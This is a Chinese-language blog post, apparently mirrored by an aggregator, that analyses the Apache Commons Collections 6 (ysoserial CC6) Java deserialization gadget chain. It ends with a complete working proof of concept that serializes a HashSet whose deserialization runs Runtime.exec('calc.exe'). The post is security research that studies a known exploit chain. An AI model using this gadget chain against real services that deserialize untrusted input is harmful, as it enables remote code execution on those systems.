3

Java反序列化Common-Collections6利用链分析

 2 years ago
source link: https://fanygit.github.io/2022/08/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Common-Collections6%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

上一篇分析了ysoserial中的CC1链,这篇主要分析CC6这条链。

分析之前,先来看看CC6这条链是如何诞生的呢?

我们都知道,在CC1这条链中,AnnotationInvocationHandler在执行反序列化时,触发的点是memberValues.entrySet()

这是在JDK 8u70之前,我们来看看JDK 8u70之后的AnnotationInvocationHandler类,这里用的是JDK 8u301

可以看到,已经将memberValues.entrySet()换成了其他的,在JDK 8u71更高版本中,就无法继续使用这种方式进行利用了。

那有没有一条不受JDK版本限制的链条呢?

答案肯定是有的,也就是即将准备分析的Common-Collections6利用链。

利用链分析

首先,还是先来看看ysoserialcc6利用链

看起来 还是挺长一串的,但是可以看到,命令执行的方式依旧没变,还是使用了LazyMapget方法。前面的构造方式已经在《Java反序列化Common-Collections1利用链分析》中说过了,直接对后面的进行分析。

它使用了TiedMapEntrygetValue来触发LazyMapget方法。

接下来看看哪里调用了getValue方法

TiedMapEntryhashCode方法中调用了getValue方法。

HashMaphash方法中找到调用hashCode

通过查找引用,可以直接在HashMapreadObject方法中找到

但是ysoserial中并不是使用的HashMap,而是使用的HashSet,其实都是一样的,HashSetreadObject方法只不过是间接地调用了hashCode

HashSetreadObject

put中还是调用了hash

接下来对利用进行梳理,首先

AnnotationInvocationHandler->readObject AnnotationInvocationHandler->invoke LazyMap->get

跟CC1中的一致,原先的AnnotationInvocationHandler类换成了TiedMapEntrygetValue来触发,然后在TiedMapEntryhashCode调用了getValue,而后HashMapreadObject中直接调用了hash方法,最后hash方法中调用了hashCode方法。

HashSetreadObject中则是通过map.put方法间接调用了hash方法。

注意:这里还有一个细节问题,在创建TiedMapEntry对象的时候,我们需要传递一个map和一个key

这里的map就为LazyMap的实例,而key,我们通常会随便传递一个。

如果我们直接执行,是不会弹出计算器的,这是为什么呢?

打个断点,调试一下就知道了。

LazyMapget

map.containsKey(key)是用来判断map中是否存在key这个值,如果不存在,会将key存放到map中,如果存在,就不会执行transform

为什么会在序列化之前执行到这个方法里面去呢?

因为需要通过HashSet来触发TiedMapEntryhashCode,所以我们要将TiedMapEntry通过add方法添加到HashSet中去, 那么在add方法中,也会调用put方法,所以也会间接调用到hash,提前触发命令执行。

那么怎么避免呢?

其实很简单,只需要在序列化前,用map.remove(key)HashMap对象中的key移除就好了。

利用链构造

得到一条利用链

HashSet->readObject
HashMap->put
HashMap->hash
HashMap->hashCode
LazyMap->get
ChainedTransformer->transform
ConstantTransformer->transform
InvokerTransformer->transform
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class CC6Test1 {
public static void main(String[] args) throws Exception {
// 因为map.put方法会触发hash操作,会提前触发有害payload,所以先构造一个无害payload放入
Transformer[] transformers = new Transformer[]{new ConstantTransformer(1)};
// 反序列化真正执行的payload
Transformer[] fucktransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 调用Runtime 的 getMethod方法 通过getMethod方法 找到 getRuntime 方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// 调用 getRuntime 返回 Runtime 对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 调用 Runtime 对象的 exec 方法 执行命令
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

// 将Transformer数组串联起来
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
// 通过HashMap.get方法触发transform
HashMap<Object, Object> map = new HashMap<>();
Map map1 = LazyMap.decorate(map, chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(map1, 11);

HashSet<Object> hashSet = new HashSet<>();

hashSet.add(tiedMapEntry);
// 绕过 map.containsKey(key)
map.remove(11);

setFieldValue(chainedTransformer, "iTransformers", fucktransformers);

byte[] serialize = Serialize(hashSet);
UnSerialize(serialize);

}

// 通过反射设置类属性
public static void setFieldValue(Object obj1, String s1, Object obj2) throws Exception{
Class clazz = obj1.getClass();
Field field = clazz.getDeclaredField(s1);
field.setAccessible(true);
field.set(obj1, obj2);
}

public static byte[] Serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}

public static void UnSerialize(byte[] bytes) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}

文章逻辑可能写得有点混乱,希望大佬们多多指教。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK